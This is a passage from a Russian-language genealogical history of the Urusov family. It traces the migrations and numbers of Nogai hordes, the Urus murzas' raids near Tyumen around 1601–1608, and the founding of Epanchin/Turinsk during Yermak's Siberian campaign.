          В 1811 году в Кавказской губернии
осталось всего 900 человек едисанцев.


 4.  Буджакские ногайцы.


      В 1696 году БНО под предводительством
мурз Джакшата и Агоша перешли с Волги на Кубань, а затем вместе с МНО,
кочевавшей по Тереку, подчинились крымскому хану. Часть едисанцев двинулась
далее на запад и обосновалась в низовьях Днепра 
и Днестра, где образовала отдельные орды Буджакскую и Аккерманскую
(Белгородскую). Движение России к Крыму в 1770 году стеснило Буджакскую орду,
она оказалась отрезанной от своих родичей. Едисанские и Буджакские мурзы просят
Россию разрешить им перейти на «крымскую сторону» (Прикубанские степи), объявив
себя в протекции России. В 1771 году она кочевала возле Ейского залива.
Постоянное беспокойство в Крыму, несогласованность между Россией и Турцией за
Крым привело к недовольству ногаев, и в 1781 году до 18.000 ногайцев из
Буджакской орды перешли на сторону Турции и ушли к Аккерману
(Белгород-Днестровский).


 5.    Аккерманские ногайцы (Белгородская орда).


        Большинство источников представляют
Белгородскую орду выходцем из едисанцев, когда часть их в 1696 году двинулась
на запад и  в низовьях Днепра и Днестра
обосновалась Аккерманская орда (Белгородская). Но еще  в 1610 году Белгородская орда во главе 10.000
татар с Кантемиром мурзой воевала против московского государства на стороне
Польши под Серпуховом. На северо-западном побережье Черного моря вырастала
независимая от Крыма и Москвы Белгородская орда; ее глава Кантемир мурза
начинал играть самостоятельную роль и роль орудия турецкой политики против
Крыма и России. Белгородская орда постоянно осуществляла набеги с грабежами,
убийствами, угоном как скота, так и людей. Особенно это движение усилилось,
когда Петр  Янарасланович Урусов стал
зятем Кантемира. После известных событий 1637 года (см. с. 21) и гибели
Кантемира роль Белгородской орды падает. Из этой орды ведут свои рода князья
Кочубеи и Кантемиры. Кочубеи возведены в княжество Николаем I, а Кантемиры - уже угасший род (не
путать с князьями Кантемиры – род господаря молдавского (кстати, тоже род
татарский от Темира)).


          В 1808 году Аккерманская орда
представляла собой 650 кибиток на реке Лаба Кавказа.


 6.   Терекские ногайцы составляют небольшую
орду из 6.000 домов (1808 г.),
кочуют по правой стороне реки Терек в урочище Куменских князей (часть МНО),
живут по своим законам, занимаются набегами и грабежами. Западная часть – это
Бессарабская орда
, на кибитках, в юртах, кочевые. Восточная часть – это
Кубанская орда
, летом кочуют, зимой живут в деревнях при воде, около
полей, занимаются земледелием и скотоводством.


 7.  Едишкульские (Джетыскульские )  вышли из БНО в начале XVI века, кочевали в низовьях Волги,
Урала и Дона. В начале XVIII
века при массовых перемещениях 
ногаев  (возможно захвачены) они
оказались в Крыму. В 1771 году едишкульцы делились на три куба (поколения) и
кочевали по рекам Аганлы, Агуев, Кара-Кубань, Кирпили и Копыл (Краснодарский
край). В дальнейшей своей истории ногайцы повторяют прежнее колебание между
Турцией и Россией, склоняясь более в сторону Турции, особенно после смерти
Джан-Мамбет  бея. В Крыму захватывает
власть Шагинь-Гирей, поддерживаемый А.Суворовым. В 1776 году Девлет-Гирей напал
на часть Едисанской орды, преданную Шагинь-Гирею, и разгромил ее; спасшиеся 18
мурз обратились с упреком к Шагинь-Гирею, обещавшему ногайцам русскую защиту. Сам
Шагинь-Гирей, лишенный возможности какого-либо другого выхода, отдался в плен
татарам Крыма. Ногайцы в 1783 году приведены Суворовым к присяге вблизи Ейского
укрепления. Многие ногайцы были приняты на русскую службу; мурзам были
пожалованы офицерские   чины. Вследствие
боязни измены ногайцев Суворов задумал перевести их к Дону (и возможно на
Урал). Возникли столкновения между ногайцами и русскими войсками. Ногайцы
разделились, часть (до 10.000) прорвались через русские кордоны и бежали за
Кубань, оставив 30.000 лошадей, 40.000 голов рогатого скота и 200.000 овец.
Другой отряд ногайцев Суворов разбил, взял в плен более 1000 человек. Остатки
едишкульских ногайцев развеялись по Северному Кавказу, часть была
переведена  в Трухменские степи, а часть
- в Мелитопольский уезд Херсонской губернии.


 8.   Джембойлукские ( Алтаульские) ногайцы.


В связи с междоусобицами между
сыновьями Мусы  Ногайская Орда стала
разделяться, хотя условно правил один князь. Раньше всех из НО отделился
Ших-Мамай (эпическое Мамай), умерший в 1549 году. Его дети (шесть
братьев-алтаульская) ушли на реку Эмба (северо-восток Каспийского моря) и
образовали самостоятельную орду. Эта орда была немногочисленная и не имела
непосредственной связи и отношений к Московскому государству, хотя играла некоторую
роль в последующих внутренних отношениях в НО. Так как орда кочевала вдоль реки
Эмба (по монгольски: Эмба-Джем, а вдоль-бойлук), то была прозвана
Джембойлукская. Позднее, став многочисленнее, орда стала делать набеги на
юго-западную Сибирь, доходя до Тюмени, иногда ее называют Сибирской ногайской
ордой. В начале XVII
века в верховьях рек Тобола, Ишима и Эмбы появляются калмыки, где встречаются с
джембойлукцами, оттесняют  их к Волге, а
в1636 году порабощают,  когда
перекочевывает до 50.000 кибиток калмыков. В 20-30-х годах Алтаульский мурза
Салтанай совместно с калмыками делал набеги на ногайцев (с врагами на своих),
захватывал пленных, семьи, лошадей и скот. К 1646 году под властью калмыков
находилось до 500 дворов алтаульцев и других ногаев. В 1715 году крымчане
сделали набег с Кубани на Волгу на калмыков, забрав едисанцев и джембойлукцев в
количестве 10.300 кибиток, отвели их на Кубань, а затем к Днепру. Позднее,
часть ногайцев бежала в Бессарабию (1728). В этот период ногайцы проводят в
бесконечных перемещениях от устьев Волги и Терека до Кубани и Дона. Происходит
разделение орды:


 
- часть орды кочует с калмыками, подчинены их жизни;


 
- северная часть кочует по реке Исеть юго-западной Сибири;


 
- часть захвачена крымчанами, уведена к Днепру;


 
- некоторые сбежали с Днепра в Бессарабию;


 
- часть расположилась по Краснодарскому 
краю (река Еи) и Ставрополью (в 1811 году – 3600 человек);


 
- часть орды ушла за границу в Турцию;


 
- некоторые после мытарств оказались на западном побережье Каспийского
моря, в Дагестане;


 
- часть орды в последствии захвачена казахами младшего жуза, который
первоначально носил название Алшин – по названию племени Алшин, ранее
входившего в состав ногайского улуса.


Джембойлукские ногайцы при
крымском хане постоянно служили телохранителями (10 джембойлуксих, 16
едисанцев, 11 едишкульцев). В 1782 году приведены А.Суворовым к присяге. Часть
алтаульцев оказалась за Кубанью на реке Сунж. Происходит борьба с местными
чеченцами и далее перемещение до современного места  Аграханского залива Каспийского моря,
Дагестан. Возникают общества  Костаковского
и Анаевского.
В 1885 году в обоих обществах было1300 семей, 3200 мужчин, 2984 женщин; 109
дворов, в кибитках 950 семей, в саклях 350 семей. В наличии 1085 лошадей, 4300
коров и 16600 овец. По данным 1883 года благосостояние ногайцев падает с
чудовищной быстротой из-за увеличения повинностей, обложения налогами,
притеснением и неумением их работать (привыкли 
жить за счет грабежей и разбоев).


 9.  Кундровские ногайцы. 


Они считают свое происхождение от
Исмаила. После 1721 года входили в состав Терских ногайцев (на реке Тереке
Северного Кавказа). При походе Петра I на Кавказ калмыцкий князь Бату перевел к Волге более 1000
кибиток. Это вероятнее всего Исмаил мурза Малого ногая. Кундровские ногаи
составляли две отдельные племенные группы:


 
- Касаевцы;


 
- Каспулатовцы.       


Малые ногаи представляли роды
Каспулат, Наврюд и Султан, во главе которых стояли мурзы – потомки Касая. При
неразберихе с ханами Крыма с 1771 года и вмешательством России недовольство
этой обстановкой проникло в ногайскую среду. В 1780 году до 130 семей касаевцев
на турецких судах переселилось в Румелию (на Кавказе осталось на 1811 год 6600
каспулатовцев).


10.  Каракалпаки.


По легенде, часть ногайского
народа долгое время кочевала с киргизами, и сама сделалась «каракалпацкого
отродья или каракалпацкого рода».  Когда
была образована Киргизская Внутренняя Орда (Букеевская), «то мы стали с ней
жить, но нас считали и поступали с нами как с ясырями и брали большой закет, от
этого, а еще больше от падежа скота, мы обеднели, земля была тощая для ночевок.
Соседи были Кундровские татары, около них были наши зимовки. Мы видели, как им
хорошо жить. Татары живут хорошо, без нужды, в довольстве. Поэтому мы просили
себе царской земли для кочевья; будем платить подати, нести службу и жить как
все русские подданные». Некоторые не верят этому, думая, что каракалпаки были
беглые татары, что между киргизами никогда не могло образоваться рода
каракалпацкого. Местные кундровские ногайцы отказались принять их к себе по
неведению их нравственных достоинств. В 1830 году едисанские и джембойлукские
ногайцы, кочующие вблизи предгорий Северного Кавказа, согласились взять их
кочевать с собой, но каракалпаки отказались кочевать, у них нет лошадей, баранов,
только остается взяться за земледелие. Они начали ходатайствовать в обращение
их в крестьянское сословие. В 1847 году каракалпаков считалось 67 душ мужского
пола и 66 д.ж.п. В 1851 году они кочевали и на калмыцких землях около Черного
моря, и на землях кундровских татар за плату; некоторые пошли по деревням на
различную работу. Повинностей не отбывали, по наружному виду похожи на
казанских татар.


11.  Караногайцы


        После разделения Ногайской Орды на БНО
и Малых ногаев, очевидно, во второй половине XVI века (возможно в середине XV века, после убийства Оккаса) от Большого ногая отделилось
несколько подразделений – кубов, которые послужили впоследствии основой
формирования караногайцев. В Кавказской области в начале XIX века кочевало пять куп (фамилий), а
именно: найман (525 кибиток), кипчак (540 кибиток), ас-Костамгасыев (536
кибиток), терк (550 кибиток) и едишкул, позднее сформировавши
аксайско-сулакскую группу караногайцев. В 1722 году было 44 аула и 1000 семей
на левом берегу Терека,  кочевавших во
владениях шамхала Тарковского, а позднее обосновавшихся около Кизляра. В конце XVIII – начале XIX веков караногайцы
кочевали в Кизлярском уезде по Тереку и в степях до Каспийского моря, в 1888
году их числилось 28000 человек. Кроме этого, караногайцы проживали в
Ставропольской губернии и в Дагестане рядом с кумыками.


В статье Ананьева  Г. «Караногайцы и их быт» (Сборник МОМПК.
Выпуск 20) хорошо описана жизнь этого народа.


        Кроме этого, на северо-западе Северного
Кавказа проживало много мелких орд:


- Арсланбековская, с Волги, БНО
на реках Зеленчук и Кума;


- Наврузовская, в 1808 году
проживало 650 семей;


- Тохтамышевская, в 1840 году –
636 дворов;


-Карамурзинская,  1840-е годы – 321 двор и 2000 человек;


-Канмурзинская, правый берег
Кубани;


-Мангытовская, в 1811 году – 8500
человек, и другие еще мельче группы: Келембетовцы, Ураковцы, Карасовцы,
Мансуровцы, Келембетовцы и т.д. 


       Из вышерассмотренных родов Ногайской Орды
после разгрома основной части их в Крыму и Кубани остатки ногайских племен
вместе с выходцами из-за Кубани развеялись по Северному Кавказу, в 1783 году
расположив свои кочевки по рекам  Калаус,
Янкулям, Кугульт, Ай-Гуру и по Куме; часть их была переведена на трухменские
степи, а часть в Мелитопольский уезд Херсонской губернии. Началась колонизация
Северного Кавказа, образовалась и заселялась военная линия от Азова к Моздоку,
строились крепости, поселки, села и заселялись 
крестьянами из внутренних губерний, а также расселялись ногаи во внутренние
губернии по несколько семей в разные поселки. Образование значительного числа
селений совпадает с временем перехода ногайцев в окончательное русское
подданство. К началу XIX
века ногаев осталось по родоплеменным группам:


 
- едишкульских - 30 кибиток;


 
-едисанских – 132;


 
- джембойлукских – 763;


 
- наврузовских – 290;


 
- мангытовских – 457;


 
- кипчаковских – 966;


 
- капсулатовских – 3191 кибитка.


К 1793 году ногайским племенам  в определенных районах Северного Кавказа было
придано названия  Приставов и
соответствующие названия ногайцев:


 
- Калаус-Саблинское  и
Бештово-Кумское приставство, смесь родов Касаевских, Едисанских, Едишкульских;
расположено по рекам Калаус, Янкулям (Ставрополье). 187 аулов, 515 семейств и
13039 душ обоего пола;


 
- Калаус-Джембойлукское   
приставство, джембойлукского рода; расположены по рекам Кугульте,
Барханчаку, Айгуру и Камбулату;


 
- Ачикулач-Джембойлукское приставство, Едисанского и Джембойлукского
рода; в Закулье;


 
- Едишкульцы и Караногайцы, около Каспийского моря;


 
- Трухмены, располагались в низовьях Кумы и севернее ее.


Главным приставом ногайцев был
назначен Султан Менгли Гирей. К концу 1810 года мелитопольские ногайцы имели
уже 67 селений, 4043 дома и только 669 кибиток. Всего в 1811 году ногайцев
насчитывалось 5119 семей и 20476 лиц обоего пола, но с этого времени начинается
конфликт ногайцев с местным населением, казаками. Ногайцы стали уходить за
Кубань, задерживались русскими только скот и имущество. В1830 году всех
ногайцев насчитывалось 39595 мужчин и 35011 женщин, из них 311 мурз, 196 духовных
лиц и 758 крестьян, а в 1840 году:


 
- Калаус-Саблинских ногайцев было 2063 кибитки (13627 человек);


 
- Калаус-Джембойлукских                  
1913                  12085;


 
- Ачикулач-Джембойлукских             
1274                  11110;


 
- Караногайцев, кочевавших в Кизлярской степи 5244  -  
32667 человек.


Но ногайцы, недовольные
ограничением их вольной жизни, в конце 50-х годов массово и мирно переселялись
(помогало выселяться местное чиновничество) в Турцию.


Между тем  ногайцы, побывав в Турции, не найдя ожидаемых
благ, начали возвращаться обратно, их возвращение в Россию и к старым местам
вызвало большое замешательство среди администрации. Земли ногайцев были
поделены, ногайцы сами не знали, что делать; на переселение в другие места не
согласны, расселяться по разным местам 
не хотят (потеря родственников, веры). На оседлую жизнь были согласны, и
на зачисление их в разряд государственных крестьян. Первая партия
возвратившихся образовала селение Канглы на реке Кума (1161 человек).
Последующие поселения (1864 год) в урочище Кевсала - 1225 человек, поселок
Лиманское - 305 душ…. Это была низменная местность,  и ногайцы страшно бедствовали.


Ногайцы 1910 года в Ставрополье
(Ачикилакский район) представляли вполне спокойное население. Прекрасные природные
условия, обилие пастбищ делали территорию Ставрополья одним из основных
скотоводческих районов  Северного
Кавказа. По бескрайним просторам


 
паслись табуны лошадей кочевых народов, стада крупного рогатого скота,
отары овец. Ногайские лошади, славившиеся своей выносливостью, находили широкий
сбыт и за пределами Кавказа. Хлебопашеством ногайцы к началу XIX века почти не занимались; работали
перевозчиками военных и гражданских грузов, продовольствия, леса и казенной
почты.


         Таким образом, Ногайская Орда, начав
свое существование с 1395 года, когда Эдигей повторно объединил ногайский народ
(первый раз - Ногай) распалась в 1770 году при присоединении мелких орд к
России. Ногайцы были приведены к оседлой жизни, расселены по разным губерниям,
селам, превратились в государственных крестьян. Остальные ногайцы отошли в
южно-дагестанские степи в междуречье Терека и Кумы (в то время были вне поля
зрения России). Там сейчас проживает ногайский народ, около 60.000 человек
(1979г.), говорят на ногайском языке мусульмане-сунниты, занимаются
скотоводством  и земледелием. Ногайцы
проживают также в Ставропольском крае, Чечне, Ингушетии и  Карачае.


    Это первая ветвь УРУСОВЫХ, ногайская. Это
основное,  откуда произошел Урусовых род,
но ведь у ногайцев не оказалось фамилии Урусовых. В этих бурных на события
выживания ногайского народа Урусовы не смогли выжить и потерялись в этой
схватке за жизнь, а возможно изменилась фамилия. Ведь у мусульманских народов
дети звались по отцу (прил.31):


 
- Кан Урусов, его сын Курмаш 
Канмурзинович Урусов, его сын 
Коль К у р м а ш о в Урусов;


 
- Янараслан Урусов, его сын 
Батырша  Янарасланович Урусов, его
сын  Аксара Б а т ы р ш о в Урусов;


 
- Сатый Урусов, его сын  Алей  Сатыевич Урусов, его сын  Мамадемин 
А л е е в и ч Урусов и т.д.    
Возможно, появились новые фамилии: Курмашовы, Яндаровы, Ураковы,
Зарбековы, Бирючовы, Батыршовы, Алеевы и другие от рода Урусовых в Ногайской
орде.


Кроме этого, у Урус князя  известны еще три сына: Касим, Кобеш и
Байтерек. Ведь от Байтерека пошла же новая фамилия – Байтерековы, князья
(прил.32), а возможно есть продолжатели и Касимовы, и Кобешевы (Кобяшевы).
Кроме этого, все сыновья и внуки Уруса имели по несколько жен. Должна быть
большая семья Урусовых.


     А кто такой  Алта Улишаим, упоминаемый у Миллера, сын
Уруса в 1601-1608 годах при нападении на Тюмень в Сибири?  А где Тюмень, там и Туринск, а где Туринск,
там и две деревни Урусовы (Урусово и Мало-Урусова), там снова фамилии Урусовых.
А не одна ли это цепь в фамилии Урусовых ?!


    Итак, 1601 год, не ранее 16 июня, отписка
тюменского воеводы А. Приимкова-Ростовского туринскому голове Федору Фофанову:
« Хотят де быть в Тюменский уезд на Исеть реку кочевать, как хлеб поспеет,
ногайские люди Алта  Улышаим мурза да Ян
Раслан (Янараслан) мурза, Урусовы дети, а с ними де нагайских людей будет тысяч
семь, да с ними же будут кочевать тут же на Исеть реку казанские (казахские)
орды… оставят жен, детей, а самим идти назад в Нагаи на бой, а биться де  им с казыевым улусом, с Урмаметевыми детьми…,
а после боя быть назад к женам и детям и кочевать де им меж Исети реки и Миеси
(Миасс) речки …, сождався с царевичи с кучюмовыми детьми, Алеем с братьею… на
государевы волости Тюменского и Туринского уездов войной…» (ААМ, ф.21, оп 4,
№5, лл.19-20).


Значит, Алта Улышаим, сын Урус
князя,  с братом Янарасланом  хотели отомстить МНО за смерть отца и своих
братьев Кана и Сатыя, убитых в 1588-1590 годах, предварительно укрыв свои семьи  в безопасном месте (территория  Ногайской Орды в то время простиралась до
родственного им Сибирского ханства). После окончания  войны со всеми своими людьми (7000 человек)
они хотели кочевать между рек Исеть и Миасс. Когда об этом стало известно
тюменским и туринским татарам, они почти все захотели присоединиться к ним,
особенно когда распространился слух, что кучюмовы царевичи со всеми людьми
решили откочевать к ногаям.


    В этом же источнике (лл36-37) еще
интереснее:


«1603 год, 10 июня,…зимовал
ногайский мурза УРУС  Алтыулова улуса на
Обуге реке близко Кучумова сына Алея с братьею, а с ним 300 человек ногайских
людей…, перешел тот мурза на Ую реку со весны, от Тобола реки вверх по Уе реке
и приходит тот мурза войной на государевы города и на волости…».      Хотя ногайцы не подошли к русским пределам
так близко, как опасались, все же стало известно, что 300 человек их, во главе
с мурзою Урусом (кто это?, или сын Алта Улышаим или обобщенно назывались
ногайцы по князю Урусу или сам Алта ?) стоят на реках Абуге и Уе и своими
враждебными действиями и убийством русских людей ясно показали, чего можно от
них ожидать, когда настанет подходящий момент. Урус князь-младший перезимовал
на Абуге, неподалеку от ставки царевича Алея (родственника), а весной ушел на
реки Уй и Тогузаке. Здесь всегда охотились татары, жившие на реке Исети и
находившиеся под властью русских. В это время 20 человек из них зверовали по р.
Тогузаку (Челябинская область). Внезапно на них в их  стане 
напали ногайцы и перебили их всех, кроме одного, который бежал на
Тюмень. После этого Урус соединился с Алеем и привел к нему  своих людей, а также татар (башкир) уфимского
уезда, всего до 700 человек, но в этот год они ничего не предпринимали против
Московского государства. 


В 1608 году ногайские татары под
предводительством мурзы Уруса совершили набег на тюменский уезд и 26 августа
подошли к реке Пышме в 20 верстах от города, где и разорили все русское и
татарское население. Так как  войско
Уруса было описано как очень сильное, то жители Тюмени побоялись выйти ему
навстречу и решили только защищаться в своем городе.  Когда после нападения истинные силы врага
стали известны тюменцам, они устыдились своего страха; войско служивых людей
настигло ногайцев за р. Исетью, разбило их и отбило  полон, захваченный на Тюмени.


    Так, 
кто же такие Алта Улышаим и Урус Алтыулова улуса? (Может  Урус – это мурза Алтауловой орды – третьей
НО, находящейся у калмыков. Миллер Г.Ф. История Сибири. Ч.2.с. 181). Почему их
нет в исторической литературе? Нигде не участвуют в событиях и жизни ногайцев
БНО (кроме событий 1601-1608 годов под Тюменью)?


 А вот, что пишет Фишер И.Э.(№ 377а):
«Ногайские татары владели степью на р.Яик (Урал) и управлялись двумя мурзами
УРУСОМЪ и Газгомъ, которые жили между собой в несогласии. В 1601 году они
отделились друг от друга. Урус выбрал себе земли между реками Исеть и Мгасом
(Миассом) и т.д., то что рассмотрено выше. Добавлено, что ногайцы Уруса в
1609-1610 годах держали тюменский уезд  в
страхе, когда они снова напали на живших у реки Мгаса башкирцев, а после
продолжали свой путь далее к Исети. Однако страх был напрасный, ногайцы скоро
были вынуждены удалиться.


 
Там же,  в Сибири,  участвует в набегах на Тобольскую губерню Пен
мурза ногайский.


Новый вопрос, кто такие Газгем и
Пен?


Если речь ведется об Урус князе
БНО и мурзе Казые (МНО), то они погибли до начала XVII века. Вероятнее всего, это сыновья
одной из ветвей Шихмамая, ведь орда эта носила название Алтаульская, а северная
часть этой ветви – Сибирская орда (но не Сибирское ханство).


Возможно, Кучум, хан Сибирский,
был из племени Ногаев (Ногайский царь) и именно из той ее орды, которая была
известна под именем Алтаульской. Орда эта кочевала около Арала и была в
постоянных сношениях как со Средней Азией, так и с Сибирью.                        


 

10. Туринск - Епанчин.


                                                    
 


                                                            



                                                                



    Как мы отмечали,  в 1600 году Российский царь Борис Годунов,
боясь заговора, отправил в ссылку видных людей России, в том числе и Урусовых.
Из приложения 40 видно, что поселения Урусовы разбросаны по всей Европейской
России. Некоторые поселения Урусовы оказались и за Уралом. Как они оказались
здесь, и что происходило в этом районе, в Туринском крае, рассмотрим во второй
части нашего повествования.     


      Былинный Ермак каслинского литья
задумчиво стоит на высоком  взгорье.
Перед ним река Тура. Синяя ленточка среди лугов и озер. Чуть ниже на живописном макете белеет Епанчин – городок –
крепость на западном рубеже Кучумова царства, а дальше на восток – безбрежные
сибирские просторы (прил.58). 


  
В необозримое прошлое уходит история заселения этого края человеком. Мир
тогда был совсем не таким, как мы его привыкли видеть сейчас; нерукотворным,
первозданным. Тысячи лет назад остановились здесь кочевые люди. Пасли скот,
охотились на зверей и птиц, ловили рыбу, собирали ягоды, орехи. Какими они были
те люди? Об этом мы, наверное, уже никогда не узнаем. Крепко хранят свои тайны
древние городища и поселения.


    После окончания ледникового периода Сибирь
была заселена охотничьими племенами, пережившими еще каменный век. В
последствии  с юга  явились сюда кочевники и потеснили их к
северу, отчасти же смешались с ними, образовав при этом разноплеменную расу
древнеазиатов. Пришельцы принесли с собой в Сибирь
скотоводческо-земледельческую медную культуру. Те в свою очередь отодвигались к
северо-востоку и востоку под давлением народов разного происхождения, как фино-угры,
самоеды и другие народы. В XII-XIV веках в Западной Сибири
происходит ряд крупных передвижений племен и народов. Турецко-татарские
племена, вытесненные в Сибирь из Средней Азии, сами потеснили живших здесь
фино-угров, остяков и самоедов, отодвинув их к северо-востоку. Из других племен
Западной Сибири  русские летописи
упоминают о юграх, которые разделенные на роды, жили по обоим склонам Уральских
гор и довольно рано подчинились (смешались) остякам. Самоеды были исконными
обитателями приуральских мест и берегов Ледовитого океана и жили в соседстве с
югрой. Вогулы (вогуличи) – племена, в начале жившие около Перми, около реки
Выми (приток Вычегды),  ушли на восток
из-за притеснений русских  на западные
склоны Урала, и уже позднее, когда русские усилили свое влияние, они
перебрались на восточный склон Урала. Сами вогулы считали себя пермскими
выходцами. Далее они сами потеснили племя югров, которые или слились с вогулами
или ушли далее на восток к берегам Оби и Иртыша, где смешались уже с остяками,
обитавшими там. К началу XVII
века название  югров исчезает быстро и
навсегда, довольно сильного и богатого народа,  
и появляется многочисленный народ остяк.


     Таким образом, в результате всех
перемещений сибирского населения к XIII-XIV
векам Западная Сибирь после целого ряда войн и переворотов занята была
самоедами, фино-уграми (вогулами) и татаро-монголами. Причем самоеды
разместились к северу и северо-востоку, вогулы по восточному склону Урала и в
средней части Западно-Сибирской низменности, а татаро-монголы заняли к югу
степные пространства. Это размещение старинного туземного населения оказалось
довольно устойчивым и в дальнейшем не подвергалось уже существенным переменам.


      Вслед за татарами  в Сибирь и Восточную Европу  явилась и монгольская государственность,
ввиде  Кипчакского государства  с Джучиевой династией во главе. В следующем
столетии это государство уже распадается на несколько независимых улусов, из
которых один зарождается за Уралом в ишимских степях и впоследствии  получает название Сибирского ханства. Это
была часть Батыевой орды. Они первые из всех татар перешли от кочевого к
оседлому образу жизни, за что и прозваны были туралами и туралинцами, т.е городскими или оседлыми жителями. Они занимали
места по течению рек Тура, Тобол, Ишим и Иртыш. Туралинские  татары были немногочисленны. Это татарская
ветвь (по всей видимости, путем смешения ногайцев и киргизов, пришедших сюда в XIV-XV веках с бухарскими выходцами).
Впоследствие (вторая половина XVI
века) обе ветви сибирских татар (туринские и тоболо-иртышские)  довольно сильно перемешались с явившимися в
Сибирь казанскими татарами и утратили свою прежнюю племенную независимость.
Итак, Западно - Сибирские татары заняли места, населенные прежде фино-уграми, при
этом часть их была поглощена пришельцами, а большинство же туземцев было
вынуждено отодвинуться на север, в низовья Иртыша и Оби. Первые татарские
поселенцы – туралинцы явились в край, имеющий культуру, волостные княжества,
население двух городов по реке Туре – Чинги-тура (Тюмень) и Епанчин (Туринск). Зато вторая,
ногайско-бухарская волна поселенцев, явившаяся сюда в XIV-XV веках, была хорошо знакома с земледельческо-городской
культурой. Расселившись по Иртышу, Тоболу и Ишиму они освоили бывшие остяцкие
городки (Искер) и основали свои. Их хозяйственная деятельность отличалась
значительной разносторонностью и состояла в охоте, рыбной ловле, скотоводстве,
земледелии, ремеслах и торговле с Бухарой, Китаем и местными жителями.  Татарские жилища (по крайней мере, в городах)
строились из хвойного леса и имели слюдяные окна и деревянные двери. Внутреннее
убранство татарских жилищ было сравнительно 
просто. Главная принадлежность его, очаг, складывался из кирпичей. Около
стен находились широкие скамьи и сундуки с разным добром. Общественное
устройство Западно-Сибирских татар характеризуется делением их на две группы,
резко отличающихся между собой. Внизу находилось простое черное население; над
ним стояла во главе с ханом немногочисленная, но  властная знать:  султаны, князья, мурзы и сенты. Князья и мурзы
были родовыми старейшинами своих поколений и являлись почти независимыми их
владетелями. Опираясь на хорошо укрепленные городки, они не считались с ханом и
прочно держали в своих руках население. Туралинские тоболо-иртышские и
барабинские татары в XV-XVI веках составляли
политический союз, который от имени столицы своей (Искер-Сибирь) с конца XV века стал называться
Сибирским ханством. Политическая жизнь сибирских татар в XIV-XVI веках характеризуется борьбой представителей ханского рода
(из потомков династии хана Шейбани) и местных сибирских князей за обладание
сибирской землей. По татарским преданиям и русским летописям, главный
политический центр сибирских татар находился на реке Ишиме, в устье которого
некогда стоял город Кызыл-тура, а затем возник городок Чимга-тура. Это мы уже
рассматривали в конце первой части рода Урусовых. В конце 1570-х годов, Кучум,
поддерживаемый ногаями, прочно утвердился в Сибири и ввел среди татар
магометанскую веру, которая скоро сплотила их в один политический союз.   


     И
Сибирь, и Тюмень - эти два отдельные владения находились в постоянных сношениях
с Ногайской ордой. Эта связь была так близка, что иногда и сибирские татары
назывались ногайскими. Это можно объяснить как их одним тюркским происхождением
тех и других татар, так и в особенности ногайским происхождением.    Ведь не смешивались же сибирские татары с
казанскими татарами. Границы ногайской орды и сибирского ханства соприкасались.
Да и сами ханы сибирские и Ибак, и Кучум и другие называли себя (в русских летописях
тоже) ногайскими царями.


  
Пользуясь дальностью расстояния, Кучум не только не исполнял своих
обязательств, но и стал проявлять признаки агрессивности в отношении к новым
русским владениям: он захватывает речные пути, ведущие из Сибири за Урал, подчиняет
своему влиянию остяков, вогул, вторгается в русские пределы. Только два
княжества сохранили свою независимость от Кучума, это Чимга-тура и Епанчин во
главе с вогульским (манси) князьком Епанчи
(Япанча).


     Владения Епанчи простирались по речной долине
– от устья реки Тагил до устья реки Ницы. Не только богат, но и по-молодецки
силен был Епанча. Породнившись с всесильным Кучумом, он вместе с его
племянником Маметкулом ходил на Пермь Великую. Красуясь татарскими доспехами,
он во главе мансийской сотни на лихом коне врывался в русские селения. А потом,
опьяненный очередной победой, гордо въезжал в свое родовое гнездо с полоном и
добычей. Вогульскому князьку надо отдать должное: хорошее место выбрал для
своего становища – вольготно кругом!


     Высокий частокол, обмазанный на высоту
человеческого роста глиной, окружал Епанчин-юрт. Внутри располагались помещения
для воинов, седельников, лучников. Посредине деревянная изба под шатровой
крышей – жилище самого Епанчи, его жен, наложниц, детей и слуг. Ближе к речке
Ялынке жались земляные лачуги русских невольников. Легенды говорят о каком-то
глубоком «татарском обрыве», где хранил Епанча награбленное во время набегов
сокровища. Сторожилы утверждают, что еще в начале XX века здесь можно было увидеть остатки
полуразвалившегося свода, уходящего глубоко вниз.


     Занятый   
затяжной войной со шведами за выход к Балтийскому морю, русский царь
Иван Грозный не мог обеспечить безопасность своих восточных границ. Их защиту
государь поручил солепромышленникам Строгановым, чьи владения простирались по
реке Каме. Получив разрешение собрать «охочих людей» в военные отряды, они
пригласили на службу дружину вольных казаков с Волги во главе с атаманом
Ермаком. По воле ли царя, по замыслу ли Строгановых или по желанию самого удалого
атамана родилась идея сибирского похода – неведомо. Но осенью 1581 года (дата
спорная) отряд Ермака «ушел в страну
мрака». Перевалив через Каменный пояс, Ермак перезимовал на восточном склоне
Урала и весной 1582 года с 1636 (цифра тоже спорная) со своими казаками после
вскрытия рек по малым речкам вышел в Тагил, а затем в Туру. Слух о движении по
рекам вооруженных людей быстро достигал мансийских селений. Все чаще из-за
густых зарослей тальника стали появляться конные группы вогулов, вооруженных
стрелами. Но Ермак старался стычек избегать. Прознав замысел русских проникнуть
в глубь их владений, вогулы стали вести себя угрожающе. Близ села Усениново в
струги Ермака полетели стрелы. Уклоняясь от них, Ермак приказал повернуть от
берега. Епанча, однако, не унимался. Пройдя более короткой сухопутной дорогой,
он встретил дружину у Епанчин-юрт. На этот раз Ермак не уклонился от боя,
впервые за Уралом обнажив свой меч. Прикрываясь щитами от татарских стрел,
казаки приблизились к берегу и дали залп из пищалей. Испугавшись огня и дыма,
воины Епанчи бросились врассыпную. В бессильной ярости бежал и сам Епанча.
Захватив Епанчин-юрт (около 22 мая 1582
года), Ермак приказал за учиненное сопротивление сжечь его.


    Не здесь ли, ввиду своей первой победы,
возникло у атамана желание испытать силу заносчивого хана Кучума? Не потому ли,
закрепляя место удобное «для селитьбы», и оставил он (легенда)  дозор из двух десятков казаков под «доглядом»
Еремейки Булата (219\ 8). Они-то вместе с освобожденными от неволи русичами и
положили начало первому в этих краях поселению. Понимая, что дружина вряд ли
скоро возвратится, казаки заторопились припасти до зимы мяса и рыбы, соорудив
хотя бы временное жилье. Не хотел уходить от родного гнездовья и его бывший
властелин – Епанча. Укрывшись в устье речки Шайтанки, что ниже по течению реки
Туры, он, как хищный зверь, кружил вокруг укрепления. Но в открытую схватку
вступать не решался. Возможно, выжидал, что « УРУСЫ « к зиме сами покинут юрт.
Но оттуда все также слышался веселый перестук топоров да громкий русский говор
(219 а \8).


     К концу лета в центре укрепления срубили
просторную избу для служивых людей и несколько домиков для крестьян, начавших
распахивать землю вокруг поселения.


От ухода Ермака из Епанчина до
года основания Туринска – целых 18 лет.


Что происходило здесь в это
время?


Поздней осенью 1582 года через
юрт следуют в Москву с донесением Ивану Грозному Ермаковы послы во главе с
